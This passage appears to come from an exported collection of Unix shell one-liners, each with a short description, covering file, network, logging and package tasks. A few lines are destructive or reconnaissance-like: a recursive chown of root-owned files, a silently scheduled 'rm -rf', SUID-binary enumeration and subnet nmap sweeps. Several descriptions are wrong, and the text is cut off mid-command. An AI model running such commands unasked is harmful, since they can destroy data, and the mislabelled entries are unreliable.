find . -uid 0 -print0 | xargs -0 chown foo:foo
# List your largest installed packages (on Debian/Ubuntu)
sed -ne '/^Package: \(.*\)/{s//\1/;h;};/^Installed-Size: \(.*\)/{s//\1/;G;s/\n/ /;p;}'
/var/lib/dpkg/status | sort -rn
# Currency Conversion
currency_convert() { curl -s "http://www.google.com/finance/converter?a=$1&from=$2&to=$3" |
sed '/res/!d;s/<[^>]*>//g'; }
# one-line log format for svn
svn log | perl -l40pe 's/^-+/\n/'
# identify NEEDED sonames in a path
scanelf --nobanner --recursive --quiet --needed --format "+n#F" $1 | tr ',' '\n' | sort -u
# Lists all usernames in alphabetical order
getent passwd | cut -d: -f1 | sort
# notify brightness level [custom]
notify-send " " -i notification-display-brightness-low -h int:value:50 -h string:xcanonical-private-synchronous:brightness

233 / 658

All UNIX COMMANDS


# Convert Squid unixtime logs in human-readable ones
perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e' < /var/log/squid/access.log
# cat stdout of multiple commands
( command1 arg arg ; command2 arg ) ...
# Repeat a command until stopped
while true ; do echo -n "`date`";curl localhost:3000/site/sha;echo -e;sleep 1; done
# Recursively find top 20 largest files (> 1MB) sort human readable format
find . -mount -type f -printf "%k %p\n" | sort -rg | cut -d \ -f 2- | xargs -I {} du -sh {}
| less
# Download all images from a 4chan thread
function 4chandl () { wget -e robots=off -nvcdp -t 0 -Hkrl 0 -I \*/src/ -P . "$1" }
# get some information about the parent process from a given process
ps -o ppid= <given pid> | xargs ps -p
# Run command from another user and return to current
su - $user -c <command>

# Count lines using wc.


wc -l file.txt
# find the path of the java called from the command line
ls -l $(type -path -all java)
# Re-read partition table on specified device without rebooting system (here /dev/sda).
partprobe
# Random quote from Borat
curl -s http://smacie.com/randomizer/borat.html | sed -nE "s# *<td
valign=\"top\"><big><big><big><font face=\"Comic Sans
MS\">(.*)</font></big></big></big></td>#\1#p"
# move up through directories faster (set in your /etc/profile or .bash_profile)
function up { for i in `seq 1 $1`; do cd ../ && pwd; done }
# Finds all files from / on down over specified size.
find / -type f -size +25M -exec ls -lh {} \; | awk '{ print $5 " " $6$7 ": " $9 }'
# Floating point power p of x
bc -l <<< "x=2; p=0.5; e(l(x)*p)"
# rsync directory tree including only files that match a certain find result.
find /src/dir/ -mtime -10 -printf %P\\0|rsync --files-from=- --from0 /src/dir/ /dst/dir/
# print offsets of file disk for losetup/loop-mount
/sbin/parted -m /dev/sdX unit b print | grep '^[1234]' | sed 's/:/ --offset=/; s/B:
[[:digit:]]*B:/ --sizelimit=/; s/B:/ [/; s/:.*/]/'
# seq (argc=2) for FreeBSD
case `uname` in FreeBSD)a=$#; case $a in 2) case $1 in 0) jot $(($2+1)) 0 $2 ;; *) jot $2 $1
$2 ;;esac;esac;esac; # usage: seq 1 4; seq 0 4
# Capitalize the first letter of every word
sed "s/\b\(.\)/\u\1/g"

234 / 658

All UNIX COMMANDS


# Check general system error on AIX
errpt -a | more
# List upcoming events on google calendar
google calendar list --date `date --date="next thursday" +%Y-%m-%d`
# Quickly generate an MD5 hash for a text string using OpenSSL
md5sum<<<'text to be encrypted'
# Benchmark a hard drive
sudo hdparm -Tt /dev/sda
# Count number of bytes that are different between 2 binary files
cmp -l file1.bin file2.bin | wc -l
# Schedule a script or command in x num hours, silently run in the background even if logged
out
echo "nohup command rm -rf /phpsessions 1>&2 &>/dev/null 1>&2 &>/dev/null&" | at now + 3
hours 1>&2 &>/dev/null
# Find all SUID binaries
find / -perm +6000 -type f -exec ls -ld {} \;
# count the number of specific characters in a file or text stream
find /some/path -type f -and -iregex '.*\.mp3$' -and -print0 | tr -d -c '\000' |wc -c
# Reads a CD/DVD and creates an dvdisaster iso image with the advanced RS02 method.
dvdisaster -vr --defective-dump . --internal-rereads 5 --raw-mode 20 --read-attempts 1-23
--read-raw --speed-warning 12 --adaptive-read --auto-suffix --read-medium 2
&&
dvdisaster -vc -mRS02 --raw-mode 20 --read-raw --auto-suffix
# Get all IPs via ifconfig
ifconfig | awk '/ddr:[0-9]/ {sub(/addr:/, ""); print $2}'
# The command used by applications in OS X to determine whether a plist is "good". from Ed
Marczak.
plutil -lint plist-file
# Google Spell Checker
spellcheck(){ curl -sd "<spellrequest><text>$1</text></spellrequest>"
https://www.google.com/tbproxy/spell | sed 's/.*<spellresult [^>]*>\
(.*\)<\/spellresult>/\1/;s/<c \([^>]*\)>\([^<]*\)<\/c>/\1;\2\n/g' | grep 's="1"' | sed
's/^.*;\([^\t]*\).*$/\1/'; }
# Big Countdown Clock in seconds
i=$((15*60)); while [ $i -gt 0 ]; do clear; echo $i | figlet; sleep 1; i=$(($i-1)); done;
# Remount an already-mounted filesystem without unmounting it
mount -o remount,ro /dev/foo /

# move you up one directory quickly


alias b='cd ../'
# Chrome sucks
ps aux | awk '/chrome/ {s+=$6}END{print s/1024}';
# Get last sleep time on a Mac

235 / 658

All UNIX COMMANDS


sysctl -a | grep sleeptime
# camelcase to underscore
echo thisIsATest | sed -r 's/([A-Z])/_\L\1/g'
# encode HTML entities
perl -MHTML::Entities -ne 'print encode_entities($_)' /tmp/subor.txt
# Check for Firewall Blockage.
iptables -L -n --line-numbers | grep xx.xx.xx.xx
# Copy files and directories from a remote machine to the local machine
ssh user@host "(cd /path/to/remote/top/dir ; tar cvf - ./*)" | tar xvf # Scrape commands from commandline fu's 1st page
curl -s http://www.commandlinefu.com/commands/browse|egrep '("Fin.*and"|<div
class="command">.*</div>)'|sed 's/<[^<]*>//g'|ruby -rubygems -pe 'require "cgi";
$_=sprintf("\n\n%-100s\n\t#%-20s",CGI.unescapeHTML($_).chomp.strip, gets.lstrip) if $.%2'
# Show sorted list of files with sizes more than 1MB in the current dir
ls -l | awk '$5 > 1000000' | sort -k5n
# Continually monitor things
while (true); do clear; uname -n; echo ""; df -h /; echo ""; tail -5 /var/log/auth.log; echo
""; vmstat 1 5; sleep 15; done
# Change MySQL Pager For Nicer Output
mysql --pager="less -niSFX"
# print all characters of a file using hexdump
od -c <file>
# Get top N files in X directory
largest() { dir=${1:-"./"}; count=${2:-"10"}; echo "Getting top $count largest files in
$dir"; du -sx "$dir/"* | sort -nk 1 | tail -n $count | cut -f2 | xargs -I file du -shx file;
}
# clone a hard drive to a remote directory via ssh tunnel, and compressing the image
# dd if=/dev/sda | gzip -c | ssh user@ip 'dd of=/mnt/backups/sda.dd'
# Find all dot files and directories
printf "%s\n" .*
# Count threads of a jvm process
ps uH p <PID_OF_U_PROCESS> | wc -l
# type partial command, kill this command, check something you forgot, yank the command,
resume typing.
dd [...] p
# Check if you partition are aligned
fdisk -l /dev/sda | grep -E sda[0-9]+ | sed s/*// | awk '{printf ("%s %f ",$1,$2/512);
if($2%512){ print "BAD" }else {print "Good"} }' | column -t
# Determine configure options used for MySQL binary builds
grep CONFIG $(which mysqlbug)
# Get your outgoing IP address
curl icanhazip.com

236 / 658

All UNIX COMMANDS


# List only executables installed by a debian package
lst=`dpkg -L iptables` ; for f in $lst; do if [ -x $f ] && [ !
done;

-d $f ] ;

then echo $f; fi;

# Update (pull commits from) all submodules


git submodule foreach git pull --ff-only origin master
# Create sqlite db and store image
sqlite3 img.db "create table imgs (id INTEGER PRIMARY KEY, img BLOB); insert into imgs (img)
values (\"$(base64 -w0 /tmp/Q.jpg)\"); select img from imgs where id=1;" | base64 -d -w0
> /tmp/W.jpg
# Print the contents of $VARIABLE, six words at a time
echo $VARIABLE | xargs -d'\40' -n 6 echo
# Allow any local (non-network) connection to running X server
xhost +local:

# Get gzip compressed web page using wget.


wget -q -O- --header\="Accept-Encoding: gzip" <url> | gunzip > out.html
# Downmix from stereo to mono and play radio stream with mplayer
mplayer -af pan=1:0.5:0.5 -channels 1 radiostream.pls
# How long has this disk been powered on
smartctl -A /dev/sda | grep Power_On_Hours
# updatedb for MAC OSX
alias updatedb="sudo /usr/libexec/locate.updatedb"
# To print a specific line from a file
awk 'FNR==5' <file>
# Save the current directory without leaving it
pushd .
# List only directories, one per line
find * -type d -maxdepth 0
# find duplicate messages in a Maildir
find $folder -name "[1-9]*" -type f -print|while read file; do echo $file $(sed -e
'/^$/Q;:a;$!N;s/\n //;ta;s/ /_/g;P;D' $file|awk '/^Received:/&&!r{r=$0}/^From:/&&!
f{f=$0}r&&f{printf "%s%s",r,f;exit(0)}');done|sort -k 2|uniq -d -f 1
# Recurse through directories easily
find . -type f | while read file; do cp $file ${file}.bak; done
# Revert back all files currently checked out by Perforce SCM for edit
ropened='p4 opened | awk -F# "{print \$1}" | p4 -x - revert'
# Convert a MOV captured from a digital camera to a smaller AVI
ffmpeg -i input.mov -b 4096k -vcodec msmpeg4v2 -acodec pcm_u8 output.avi
# Count opening and closing braces in a string.
countbraces () { COUNT_OPENING=$(echo $1 | grep -o "(" | wc -l); COUNT_CLOSING=$(echo $1 |
grep -o ")" | wc -l); echo Opening: $COUNT_OPENING; echo Closing: $COUNT_CLOSING; }
# Generat a Random MAC address

237 / 658

All UNIX COMMANDS


od /dev/urandom -w6 -tx1 -An|sed -e 's/ //' -e 's/ /:/g'|head -n 1
# Quickly move the cursor to different parts of the command line based on a mark.
ctrl-x ctrl-x
# pimp text output e.g. "Linux rocks!" to look nice
cowsay Linux rocks!
# import a new set of files located in a local directory into a remote Subversion repository
svn import /home/kaz/myproject
svn+ssh://svn.FOO.codehaus.org/home/projects/FOO/scm/project1/trunk
# Get a process's pid by supplying its name
pidof () { ps acx | egrep -i $@ | awk '{print $1}'; }
# Show changed files, ignoring permission, date and whitespace changes
git diff --numstat -w --no-abbrev | perl -a -ne '$F[0] != 0 && $F[1] !=0 && print $F[2] .
"\n";'
# Read just the IP address of a device
/sbin/ip -f inet addr | sed -rn 's/.*inet ([^ ]+).*(eth[[:digit:]]*(:[[:digit:]]+)?)/\2 \
1/p' | column -t
# pimp text output e.g. "Linux rocks!" to look nice
figlet Linux rocks!
# Edit a file in vim (at the first error) if it is not well formed xml.
vimlint(){ eval $(xmllint --noout "$1" 2>&1 | awk -F: '/parser error/{print "vim \""$1"\"
+"$2; exit}'); }
# tar.gz with gpg-encryption on the fly
tar -cvz /<path>/ | gpg --encrypt --recipient <keyID> > /<backup-path>/backup_`date +%d_%m_
%Y`.tar.gz.gpg
# sort ip by count quickly with awk from apache logs
awk '{array[$1]++}END{ for (ip in array) print array[ip] " " ip}' <path/to/apache/*.log> |
sort -n
# convert single digit to double digits
function rjust_file_nums(){for i in *.ogg; do; mv $i `ruby -e "print ARGV.first.gsub(/\d+/)
{|d| d.rjust($1,'0')}" $i`; done }
# cp the file
cp /some/path/to/myfile{,.back}

# Convert from octal format to umask


perm=( 6 4 4 ) ; for elem in ${perm[@]}; do echo `expr 7 - $elem` ; done
# Extract your list of blocked images hosts from Firefox database
sqlite3 -noheader -list ~/.mozilla/firefox/<your_profile>/permissions.sqlite "select host
from moz_hosts where type='image' and permission=2"
# set wallpaper on windowmaker in one line
wmsetbg -s -u path_to_wallpaper
# Sprunge.us - CLI alternative to PasteBin.com
alias pasteit="curl -F 'sprunge=<-' http://sprunge.us"

238 / 658

All UNIX COMMANDS


# Print the detailed statistics of transferred bytes by the firewall rules
sudo iptables -L -nv
# Generate a random password 30 characters long
tr -cd '[:alnum:]' < /dev/urandom | fold -w30 | head -n1
# convert markdown to PDF
markdown doc.md | htmldoc --cont --headfootsize 8.0 --linkcolor blue --linkstyle plain
--format pdf14 - > doc.pdf
# Selecting a random file/folder of a folder
find . | shuf -n1
# Synchronise a file from a remote server
rsync -av -e ssh user@host:/path/to/file.txt .
# Adhoc tar backup
tar -cvzf - /source/path | ssh <targethostname> -l <username> dd
of=/destination/path/backupfile.tgz
# Explanation of system and MySQL error codes
perror NUMBER
# Alias to securely run X from tty and close that tty afterwards.
alias onlyx='nohup startx & disown ; exit'
# umount --rbind mount with submounts
cat /proc/mounts | awk '{print $2}' | grep "^$MOUNTPOINT" | sort -r | xargs umount
# search user defined function in c language
cflow file.c | grep ':$' | sed 's/ <.*//'
# Remove blank lines from a file using grep and save output to new file
grep -v "^$" filename > newfilename
# Checks apache's access_log file, strips the search queries and shoves them up your e-mail
awk '/q=/{print $11}' /var/log/httpd/access_log.4 | awk -F 'q=' '{print $2}' | sed 's/+/
/g;s/%22/"/g;s/q=//' | cut -d "&" -f 1
# convert ascii string to hex
echo $ascii | perl -ne 'printf ("%x", ord($1)) while(/(.)/g); print "\n";'
# find filenames and directory names that doesn't conform ISO 9660 level 2
find . -regextype posix-extended -not -regex '.*/[A-Za-z_]*([.][A-Za-z_]*)?'
# Search for classes in Java JAR files.
find . -name "*.jar" | while read line; do unzip -l $line; done | grep your-string
# Top 20 commands in your bash history
sed -e 's/[;|][[:space:]]*/\n/g' .bash_history | cut --delimiter=' ' --fields=1 | sort |
uniq --count | sort --numeric-sort --reverse | head --lines=20
# shutdown if wget exit
while pgrep wget || sudo shutdown -P now; do sleep 1m; done
# Nmap list IPs in a network and saves in a txt
nmap -sP 192.168.1.0/24 | grep "Nmap scan report for"| cut -d' ' -f 5
# list files by testing the ownership
find . -user root

239 / 658

> ips.txt

All UNIX COMMANDS


# TCP and UDP listening sockets
netstat -t -u -l
# Configure a serial line device so you can evaluate it with a shell script
stty -F "/dev/ttyUSB0" 9600 ignbrk -brkint -icrnl -imaxbel -opost -onlcr -isig -icanon
-iexten -echo -echoe -echok -echoctl -echoke time 5 min 1 line 0

# mail with attachment


tar cvzf - data1 data2 | uuencode data.tar.gz | mail -s 'data' you@host.fr
# autorun program when logon Windows XP
schtasks /create /sc onlogon /tn "Run prog" /tr prog.exe
# Resample a WAV file with sox
sox infile.wav -r 44100 outfile.wav resample
# automatically ditch old versions in a conflict
qq/<<<<<<^Md/^======^Mdd/>>>>>>^Mdd^M/<<<<<<q
# List all files/folders in working directory with their total size in Megabytes
du --max-depth=1 -m
# Query ip pools based on successive netnames via whois
net=DTAG-DIAL ; for (( i=1; i<30; i++ )); do whois -h whois.ripe.net $net$i | grep
'^inetnum:' | sed "s;^.*:;$net$i;" ; done
# Generate a ZenCart-style MD5 password hash.
python -c 'p="SeCuR3PwD";import hashlib as h;s=h.md5(p).hexdigest()
[:2];pw=h.md5(s+p).hexdigest();print pw+":"+s;'
# Remote Serial connection redirected over network using SSH
remserial -d -p 23000 -s "115200 raw" /dev/ttyS0 &
# Get DELL Warranty Information from support.dell.com
curl -sL http://www.dell.com/support/troubleshooting/us/en/555/Servicetag/$(dmidecode -s
system-serial-number) | html2text -style pretty | awk -F\. '/with an end date of/ { print $1
"."}'
# use google's text-to-speech and play in media player
say() {
wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?
ie=UTF-8&tl=en&q=$1"
open output.mp3 &>/dev/null || xdg-open output.mp3 &>/dev/null }
# strip non-constant number of directories from tar archive while decompressing
tar --transform 's#.*/\([^/]*\)$#\1#' -xzvf test-archive.tar.gz
# copy paste multiple binary files
tar -c bins/ | gzip -9 | openssl enc -base64
# Calculating number of Connection to MySQL
mysql -NBe 'show global status like "Threads_connected";' | cut -f2
# Get your outgoing IP address
curl ifconfig.me
# Display 16 largest installed RPMs in size order, largest first
rpm -qa --queryformat '%{size} %{name}-%{version}-%{release}\n' | sort -k 1,1 -rn | nl |
head -16

240 / 658

All UNIX COMMANDS


# Find all Mac Address
ifconfig | egrep [0-9A-Za-z]{2}\(:[0-9A-Za-z]{2}\){5} | awk '{print $1 ":\t" $5}'
# resize(1/2) the image using imagemagick
convert -resize 50%x50% image{,_resize}.jpg
# Updating to Fedora 11
yum clean all ; rpm -Uvh
http://download.fedora.redhat.com/pub/fedora/linux/releases/11/Fedora/i386/os/Packages/fedor
a-release-11-1.noarch.rpm ; yum -y upgrade ; reboot
# Makes a Zenity select list based on entries in your wpa_supplicant.conf
grep -oE "ssid=\".*\"" /etc/wpa_supplicant.conf | cut -c6- | sed s/\"//g | zenity --list
--title="Choose Access Point" --column="SSID"
# Rename files to be all in CAPITALS
for n in * ; do mv $n `echo $n | tr '[:lower:]' '[:upper:]'`; done
# Anti DDOS
tail -f /var/www/logs/domain.com.log | grep "POST /scripts/blog-post.php" | grep -v 192.168.
| awk '{print $1}' | xargs -I{} iptables -I DDOS -s {} -j DROP
# Create the directoty recursively
mkdir /home/dhinesh/dir1/{dir2,dir3,dir4}/file1.txt -p
# Show bz compressed PF binary log
bzcat ext_if.log.0.bz2 | tcpdump -n -e -tttt -r - | less
# Get last sleep time on a Mac
sysctl kern.sleeptime
# Installing debian on fedora (chrooted)
debootstrap --arch i386 lenny /opt/debian ftp://debian.das.ufsc.br/pub/debian/

# Show display adapter, available drivers, and driver in use


lspci -v | perl -ne '/VGA/../^$/ and /VGA|Kern/ and print'
# processes per user counter
pgrep -cu ioggstream
# print a cpu of a process
ps -eo %cpu,args | grep -m1 PROCESS | awk '{print $1}'
# list with full path
find $(pwd) -maxdepth 1 -name "*" -printf "%p\n"
# Resolution of a image
identify -format "%[fx:w]x%[fx:h]" logo:
# Opens an explorer.exe file browser window for the current working directory or specified
dir (Fixed)
open(){ if [[ -n "$1" ]];then explorer /e, $(cygpath -mal "$PWD/$1");else explorer /e, $
(cygpath -mal "$PWD");fi }
# Shows cpu load in percent
top -bn2|awk -F, '/Cpu/{if (NR>4){print 100-gensub(/.([^ ]+).*/,"\\1","g",$4)}}'

241 / 658

All UNIX COMMANDS


# Add all files in current directory to SVN
svn add --force *
# List bash functions defined in .bash_profile or .bashrc
set | fgrep " ()"
# Recursive Line Count
find * -type f -not -name ".*" | xargs wc -l
# Print only the odd lines of a file
awk 'NR%2'
# Test a SSLv2 connection
openssl s_client -connect localhost:443 -ssl2
# Update grub menu.lst
sed -e '/^$/d' -e '/^#/d' -e '/initrd/ a\ ' -e 's/hiddenmenu//g' -e '/^timeout/d' -e
'/default/ a\timeout\t\t15' -e 's/quiet//g' -e 's/splash/rootdelay=60/g' /boot/grub/menu.lst
> /boot/grub/menu.lst.new
# List only directories, one per line
ls -1d */
# erase next word
ALT + d
# List the most recent dates in reverse-chronological order
seq 1 5 | xargs -I"#" date --date="today -# days" +'%Y-%m-%d'
# Test load balancers
curl --resolve subdomain.example.com:80:10.100.0.1 subdomain.example.com -I -s
# Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)
svn info | sed -n "/URL:/s/.*\///p"
# Watch postgresql calls from your application on localhost
sudo tcpdump -nnvvXSs 1514 -i lo0 dst port 5432
# Combines an arbitrary number of transparent png files into one file
echo -n "convert " > itcombino.sh; printf "IMG_%00004u.png " {1..1121} >> itcombino.sh; echo
-n "-layers merge _final.png" >> itcombino.sh; chmod +x itcombino.sh && ./itcombino.sh
# delete all leading and trailing whitespace from each line in file
sed 's/^[ \t]*//;s/[ \t]*$//' -i file
# Open Port Check
lsof -ni TCP
# Capture video of a linux desktop
ffmpeg -f x11grab -s wxga -r 25 -i :0.0+1366,0 -qscale 0 /tmp/out.mpg
# Get your default route
ip route | grep default | awk '{print $3}'
# Check wireless link quality with dialog box
while [ i != 0 ]; do sleep 1 | dialog --clear --gauge "Quality: " 0 0 $(cat
/proc/net/wireless | grep $WIRELESSINTERFACE | awk '{print $3}' | tr -d "."); done

242 / 658

All UNIX COMMANDS


# Shows how many percents of all avaliable packages are installed in your gentoo system
echo $((`eix --only-names -I | wc -l` * 100 / `eix --only-names | wc -l`))%
# Debian Runlevel configuration tool
rcconf
# Remove space and/or tab characters at the end of line
sed -i 's/[ \t]*$//' file
# delete all trailing whitespace from each line in file
sed -i 's/^\s\+//' <file>
# strip config files of comments
grep -vE '^$|^[\s]*[;#]'
# Find broken symlinks and delete them
rm **/*(-@)
# Retrieve a list of all webpages on a site
URL=www.example.com && wget -rq --spider --force-html "http://$URL" && find $URL -type d >
url-list.txt && rm -rf $URL
# Search for an active process without catching the search-process
ps -ef | awk '/process-name/ && !/awk/ {print}'
# Change attributes of files so you can edit them
sudo chattr -i <file that cannot be modified>
# Creates PodFeeds.txt, a file that lists the URLs of rhythmbox podcasts from the
rhythmdb.xml file.
grep -A 5 -e podcast-feed rhythmdb.xml | grep -e "<location>" | sed 's: *</*[a-t]*>::g' >
PodFeeds.txt
# encrypt and post or get and decrypt from sprunge using gpg symmetric encryption option
function cpaste () { gpg -o - -a -c $1 | curl -s -F 'sprunge=<-' http://sprunge.us }
function dpaste () { curl -s $1 | gpg -o - -d }
# Recursive Line Count
find ./ -not -type d | xargs wc -l | cut -c 1-8 | awk '{total += $1} END {print total}'
# Awk one-liner that sorts a css file by selector
awk '/.*{$/{s[$1]=z[$1]=j+0}{l[j++]=$0}END{asorti(s);for(v in s){while(l[z[s[v]]]!~/}
$/)print l[z[s[v]]++];print"}"ORS}}'
# Grep recursively for a pattern and open all files that match, in order, in Vim, landing on
1st match
X='pattern'; vim +/"$X" `egrep -lr "$X" *`
# Nicely display mem usage with ps
ps -o comm,%mem,args -u www-data
# Get curenttly playing track in Last.fm radio
curl -s http://ws.audioscrobbler.com/1.0/user/<user_id>/recenttracks.rss|grep '<title>'|sed
-n '2s/ *<\/\?title>//gp'
# capture selected window
scrot -s /tmp/file.png
# Url Encode
$ php -r "echo urlencode('$1');"

243 / 658

All UNIX COMMANDS


# Reduce PDF size
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET
-dBATCH -sOutputFile=output.pdf input.pdf
# Copy modification timestamp from one file to another.
touch -r "source_file" "destination_file"
# Automatically tunnel all ports of running docker instances in boot2docker
docker ps -q | xargs -n 1 docker inspect | jq '.[0].NetworkSettings.Ports +{} |
map(select(. != null)[0].HostPort) | map("-L \(.):localhost:\(.)") ' | sed -n 's/.*"\
(.*\)".*/\1/p' |xargs boot2docker ssh -N
# Display email addresses that have been sent to by a postfix server since the last mail log
rollover
sed -n -e '/postfix\/smtp\[.*status=sent/s/^.*to=<\([^>]*\).*$/\1/p' /var/log/mail.log |
sort -u
# Recompress all text files in a subdirectory with lzma
find . -name '*.txt' -print0 | parallel -0 -j+0 lzma
# resolving basic authentication problem(401) with wget
wget --auth-no-challenge --server-response -O- $url 2>&1 | grep "Cookie" | sed "s/^
Set-//g" > cookie.txt; wget --auth-no-challenge --server-response --http-user="user"
--http-password="pw" --header="$(cat cookie.txt)" -O- $url
# live netcat network throughput test
nc -l -p 7777 > /dev/null

# diff process output


diffprocess () { diff <($*) <(sleep

3; $*); }

# Get the gravatar UTL for a given email address


echo -n test@example.com | md5sum | (read hash dash ; echo
"https://secure.gravatar.com/avatar/${hash}")
# Let keyboard LED blink
for a in $(seq 15); do (xset led 3);(xset -led 3);sleep .9;done
# E-mail a traditional Berkeley mbox to another recipient as individual e-mails.
formail -Y -s /usr/sbin/sendmail bar@example.com < /var/mail/foo
# Dump mySQL db from Remote Database to Local Database
mysqldump --host=[remote host] --user=[remote user] --password=[remote password] -C db_name
| mysql --host=localhost --user=[local user] --password=[local password] db_name
# Get debian package names corresponding to latex packages used in a document
grep -R usepackage * | cut -d']' -f2 | cut -s -d'{' -f 2 | sed s/"}"/.sty"}"/g | cut -d'}'
-f1 | sort | uniq | xargs dpkg -S | cut -d':' -f1 | sort | uniq
# continuously check size of files or directories
while true; do du -s <file_or_directory>; sleep <time_interval>; done
# Get backup from remote host, then expand in current directory using tar
ssh -l username server.tdl "tar -czf - /home/username/public_html" | tar -xzf # Find top 5 big files
ls -Sh **/*(.Lm+100) | tail -5

244 / 658

All UNIX COMMANDS


# Find last reboot time
sysctl -a | grep boottime | head -n 1
# See the top 10 IP addresses in a web access log
# cut -d ' ' -f1 /var/log/nginx/nginx-access.log | sort | uniq -c | sort -nr | head -10 | nl
# A simple X11 tea timer
$(STEEP=300; sleep $STEEP; xmessage "Your tea is done") &
# resolve hostname to IP our vice versa with less output
resolveip -s www.freshmeat.net
# List the biggest accessible files/dirs in current directory, sorted
du -ms * 2>/dev/null |sort -nr|head
# calculate md5 sums for every file in a directory tree
find . -type f -print0 | xargs -0 md5sum
# The program listening on port 8080 through IPv6
netstat -lnp6 | grep :8080 | sed 's#^[^\/]*/\([a-z0-9]*\)#\1#'
# show hidden chars in vi
set list / set nolist
# Top 15 processes with the largest number of open files
lsof +c 15 | awk '{print $1}' | sort | uniq -c | sort -rn | head
# Recursive chmod all *.sh files within the current directory
chmod u+x **/*.sh
# Search commandlinefu from the command line
(curl -d q=grep http://www.commandlinefu.com/search/autocomplete) | egrep 'autocomplete|
votes|destination' | perl -pi -e 's/a style="display:none" class="destination"
href="//g;s/<[^>]*>//g;s/">$/\n\n/g;s/^ +//g;s/^\//http:\/\/commandlinefu.com\//g'
# Put the machine to sleep after the download(wget) is done
while [ -n "`pgrep wget`" ]; do sleep 2 ;done; [ -e "/tmp/nosleep"] || echo
>/sys/power/state

mem

# Print a row of 50 hyphens


for i in `seq 1 1 50`; do echo -n -; done
# Juste a reminder that this works.
true || false && echo true || echo false
# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
ls -l --time-style=+%Y-%m-%d | awk "/$(date +'%Y-%m-%d')/ {print \$7}"
# Listing directory content of a directory with a lot of entries
perl -le 'opendir DIR, "." or die; print while $_ = readdir DIR; closedir DIR'

# Alternative way to generate an XKCD #936 style 4 word password usig sed
shuf -n4 /usr/share/dict/words | sed -e ':a;N;$!ba;s/\n/ /g;s/'\''//g;s/\b\
(.\)/\u\1/g;s/ //g'
# Generate random number with shuf
echo $((RANDOM % 10 + 1))

245 / 658

All UNIX COMMANDS


# Hits per hour apache log
awk -F: '{print $2}' access_log | sort | uniq -c
# Help shell find freshly installed applications (re: PATH)
rehash
# Cancel all aptitude scheduled actions
aptitude keep-all
# Check tcp-wrapping support
supportsWrap(){ ldd `which ${1}` | grep "libwrap" &>/dev/null && return 0 || return 1; }
# Display duplicated lines in a file
cat file.txt | sort | uniq -dc
# ShadyURL via CLI
SITE="www.google.com"; curl --silent "http://www.shadyurl.com/create.php?
myUrl=$SITE&shorten=on" | awk -F\' '/is now/{print $6}'
# quickly formats a fat partition. usefull for flash drives
mkfs.vfat /dev/sdc1
# 100% rollback files to a specific revision
git reset --hard <commidId> && git clean -f
# extract column from csv file
cut -d, -f5
# List the popular module namespaces on CPAN
curl http://www.cpan.org/modules/01modules.index.html |awk '{print $1}'|grep -v "<"|sort|
uniq -c|grep -v " +[0-9] "
# Pimp your less
export LESS='-x4FRSXs'
# Ping all hosts on 192.168.1.0/24
nmap -sP 192.168.0.1-254
# password generator
genpass(){local i x y z h;h=${1:-8};x=({a..z} {A..Z} {0..9});for ((i=0;i<$h;i++));do y=${x[$
((RANDOM%${#x[@]}))]};z=$z$y;done;echo $z ;}
# Truncate 0.3 sec from an audio file using sox
sox input.wav output.wav reverse trim 00:00:00.3 reverse
# Runs previous command replacing foo by bar every time that foo appears
^foo^bar^:&
# Compare a remote file with a local file
vimdiff scp://[user@]host1/<file> scp://[user@]host2/<file>
# List out classes in of all htmls in directory
find . -name '*.html' -exec 'sed' 's/.*class="\([^"]*\?\)".*/\1/ip;d' '{}' ';' |sort -su
# Extract title from HTML files
awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' | sed '/^$/d' > file.html
# Function to check whether a regular file ends with a newline
endnl () { [[ -f "$1" && -s "$1" && -z $(tail -c 1 "$1") ]]; }

246 / 658

All UNIX COMMANDS


# Get your local IP regardless of your network interface
ifconfig|sed '/inet/!d;/127.0/d;/dr:\s/d;s/^.*:\(.*\)B.*$/\1/'
# quickly formats a fat partition. usefull for flash drives
mkdosfs /dev/sdx1
# Delete only binary files in a directory
perl -e 'unlink grep { -f -B } <*>'
# search google on os x
alias google='open http://www.google.com/search?q="'

# Show what PID is listening on port 80 on Linux


lsof -nPi tcp:80
# Show the total number of changes that every user committed to a Subversion repository
svn log -v --xml > log.xml; zorba -q 'let $log := doc("log.xml")/log/logentry return for
$author in distinct-values($log/author) order by $author return concat($author, " ",
sum(count($log[author=$author]/paths/path)), "&#xa;")' --serialize-text
# Speed up launch of liferea
sqlite3 ~/.liferea_1.4/liferea.db 'VACUUM;'
# Show database sql schema from Remote or Local database
mysqldump -u<dbusername> -p<dbpassword> <databasename> --no-data --tables
# Find how much of your life you've wasted coding in the current directory
find * \( -name "*.[hc]pp" -or -name "*.py" -or -name "*.i" \) -print0 | xargs -0 wc -l |
tail -n 1
# recursive search and replace old with new string, inside files
grep -rlZ oldstring . | xargs -0 sed -i -e 's/oldstring/newstring/'
# Tracklist reaplace backspace to '-'
perl -e 'rename $_, s/ /-/gr for <*.mp3>'
# multiline data block parse and CSV data extraction with perl
cat z.log | perl -ne 'BEGIN{ print "DATE;RATE\n"; } /\[(\d.*)\]/ && print $1; /CURRENT
RATE: +(\S+) msg.*/ && print ";" .$1 . "\n"; '
# archlinux:Delete packages from pacman cache that are older than 7 days
find /var/cache/pacman/pkg -not -mtime -7 | sudo xargs rm
# NICs, IPs, and Mac
ifconfig -a | nawk 'BEGIN {FS=" "}{RS="\n"}{ if($1~ /:/) {printf "%s ", $1}}{ if($1=="inet")
{print " -- ",system("arp "$2)}}'|egrep -v "^[0-9]$"
# Extract title from HTML files
tr -d "\n\r" | grep -ioEm1 "<title[^>]*>[^<]*</title" | cut -f2 -d\> | cut -f1 -d\<
# Easily find latex package documentation
texdoc packagename
# Find only *.doc and *xls files on Windows partition
find /mountpoint -type f -iregex '.*\.\(doc\|xls\)'

247 / 658

All UNIX COMMANDS


# Define shell variable HISTIGNORE so that comments (lines starting with #) appear in shell
history
export HISTIGNORE=' cd "`*: PROMPT_COMMAND=?*?'
# Watch the progress of 'dd'
ctrl-t
# Protect against buffer overflow
echo 16384 > /proc/sys/net/ipv4/neigh/default/gc_thresh1; echo 32768 >
/proc/sys/net/ipv4/neigh/default/gc_thresh2; echo 65535 >
/proc/sys/net/ipv4/neigh/default/gc_thresh3; echo 1 >
